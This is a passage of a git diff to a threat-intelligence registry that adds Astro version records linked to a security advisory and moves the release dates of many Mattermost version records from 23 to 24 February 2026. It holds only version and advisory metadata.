index 00000000..b79bf78f
--- /dev/null
+++ b/08-threat-intel/registry/versions/astro--project--astro--5-18-1.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "astro--project--astro--5-18-1",
+ "entity_id": "astro--project--astro",
+ "root_system_id": "astro",
+ "version": "5.18.1",
+ "released_at": "2026-03-26T19:01:26.420643Z",
+ "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_confidence": "official",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "astro--CVE-2026-33769"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/astro--project--astro--introduced-2-10-10-fixed-5-18-1.json b/08-threat-intel/registry/versions/astro--project--astro--introduced-2-10-10-fixed-5-18-1.json
new file mode 100644
index 00000000..74e42961
--- /dev/null
+++ b/08-threat-intel/registry/versions/astro--project--astro--introduced-2-10-10-fixed-5-18-1.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "astro--project--astro--introduced-2-10-10-fixed-5-18-1",
+ "entity_id": "astro--project--astro",
+ "root_system_id": "astro",
+ "version": "introduced=2.10.10, fixed<5.18.1",
+ "released_at": "2026-03-26T18:45:17Z",
+ "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_confidence": "official",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "astro--CVE-2026-33769"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--10-11-10.json b/08-threat-intel/registry/versions/mattermost--10-11-10.json
index 0ee74f7e..3c5d9aac 100644
--- a/08-threat-intel/registry/versions/mattermost--10-11-10.json
+++ b/08-threat-intel/registry/versions/mattermost--10-11-10.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--10-11-11.json b/08-threat-intel/registry/versions/mattermost--10-11-11.json
index a5a1b685..76b9f243 100644
--- a/08-threat-intel/registry/versions/mattermost--10-11-11.json
+++ b/08-threat-intel/registry/versions/mattermost--10-11-11.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--10-11-12.json b/08-threat-intel/registry/versions/mattermost--10-11-12.json
index 9c22728c..1c9bd268 100644
--- a/08-threat-intel/registry/versions/mattermost--10-11-12.json
+++ b/08-threat-intel/registry/versions/mattermost--10-11-12.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--10-11-x.json b/08-threat-intel/registry/versions/mattermost--10-11-x.json
index ebb02d9d..660e4fca 100644
--- a/08-threat-intel/registry/versions/mattermost--10-11-x.json
+++ b/08-threat-intel/registry/versions/mattermost--10-11-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-2-2.json b/08-threat-intel/registry/versions/mattermost--11-2-2.json
index 92a14fe6..e94cfa8e 100644
--- a/08-threat-intel/registry/versions/mattermost--11-2-2.json
+++ b/08-threat-intel/registry/versions/mattermost--11-2-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-2-3.json b/08-threat-intel/registry/versions/mattermost--11-2-3.json
index fd5d00a6..881b4185 100644
--- a/08-threat-intel/registry/versions/mattermost--11-2-3.json
+++ b/08-threat-intel/registry/versions/mattermost--11-2-3.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-2-4.json b/08-threat-intel/registry/versions/mattermost--11-2-4.json
index 57a3cf66..aadcb3d0 100644
--- a/08-threat-intel/registry/versions/mattermost--11-2-4.json
+++ b/08-threat-intel/registry/versions/mattermost--11-2-4.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-2-x.json b/08-threat-intel/registry/versions/mattermost--11-2-x.json
index 90f141a0..a6c99ee0 100644
--- a/08-threat-intel/registry/versions/mattermost--11-2-x.json
+++ b/08-threat-intel/registry/versions/mattermost--11-2-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-3-1.json b/08-threat-intel/registry/versions/mattermost--11-3-1.json
index 91e5a2b0..ad48e7c9 100644
--- a/08-threat-intel/registry/versions/mattermost--11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--11-3-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-3-2.json b/08-threat-intel/registry/versions/mattermost--11-3-2.json
index aaba2511..570df7bd 100644
--- a/08-threat-intel/registry/versions/mattermost--11-3-2.json
+++ b/08-threat-intel/registry/versions/mattermost--11-3-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-3-x.json b/08-threat-intel/registry/versions/mattermost--11-3-x.json
index 21749777..39d38b1c 100644
--- a/08-threat-intel/registry/versions/mattermost--11-3-x.json
+++ b/08-threat-intel/registry/versions/mattermost--11-3-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-4-0.json b/08-threat-intel/registry/versions/mattermost--11-4-0.json
index f2a423ce..ceb3d5fe 100644
--- a/08-threat-intel/registry/versions/mattermost--11-4-0.json
+++ b/08-threat-intel/registry/versions/mattermost--11-4-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-4-1.json b/08-threat-intel/registry/versions/mattermost--11-4-1.json
index affea301..18e7deda 100644
--- a/08-threat-intel/registry/versions/mattermost--11-4-1.json
+++ b/08-threat-intel/registry/versions/mattermost--11-4-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-4-x.json b/08-threat-intel/registry/versions/mattermost--11-4-x.json
index 98a578f7..f1006b54 100644
--- a/08-threat-intel/registry/versions/mattermost--11-4-x.json
+++ b/08-threat-intel/registry/versions/mattermost--11-4-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--11-5-0.json b/08-threat-intel/registry/versions/mattermost--11-5-0.json
index 0ec94436..7a4ac554 100644
--- a/08-threat-intel/registry/versions/mattermost--11-5-0.json
+++ b/08-threat-intel/registry/versions/mattermost--11-5-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-10.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-10.json
index 05220ac8..dae441ad 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-10.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-10.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-11.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-11.json
index 09c21a57..29a2f442 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-11.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-11.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-x.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-x.json
index b97b7646..dbbf332c 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-x.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--10-11-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-2.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-2.json
index d4403167..e937177d 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-2.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-3.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-3.json
index bb24fa69..ce57df0d 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-3.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-3.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-4.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-4.json
index b109912c..0396b987 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-4.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-4.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-x.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-x.json
index 25c2af39..6cc27c4b 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-x.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-2-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-1.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-1.json
index ded598dc..aaac2a80 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-2.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-2.json
index 2a82b4ef..a793f9c6 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-2.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-x.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-x.json
index e775822e..3d54b78e 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-x.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-3-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-0.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-0.json
index 08c6f517..83e0887f 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-0.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-1.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-1.json
index 38ea379b..68fa4746 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-1.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-x.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-x.json
index 010c701f..926e2496 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-x.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-4-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-5-0.json b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-5-0.json
index 00111073..8db3ba66 100644
--- a/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-5-0.json
+++ b/08-threat-intel/registry/versions/mattermost--plugin--mattermost-plugins--11-5-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-10.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-10.json
index c89a41e6..3c39962c 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-10.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-10.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-11.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-11.json
index a4b070dd..d047c9b0 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-11.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-11.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-12.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-12.json
index c91de0f4..a5984409 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-12.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-12.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-x.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-x.json
index b9951b4b..e65a6b17 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--10-11-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-2.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-2.json
index 566f645d..2daf18e2 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-2.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-3.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-3.json
index 454b7b9a..52b60c39 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-3.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-3.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-4.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-4.json
index 956aa59f..68f89e2b 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-4.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-4.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-x.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-x.json
index 1d87c8b1..c458da35 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-2-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-1.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-1.json
index 18c0f40f..6ed2a85f 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-2.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-2.json
index 0026408c..b4489315 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-2.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-x.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-x.json
index b37d6d63..2f167b54 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-3-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-0.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-0.json
index 167f017a..35df176e 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-0.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-1.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-1.json
index 1d015d85..74641d7a 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-1.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-x.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-x.json
index bd179c31..daabfea5 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-4-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-5-0.json b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-5-0.json
index 9a3adc32..70e7e31f 100644
--- a/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-5-0.json
+++ b/08-threat-intel/registry/versions/mattermost--project--issue-platform--11-5-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
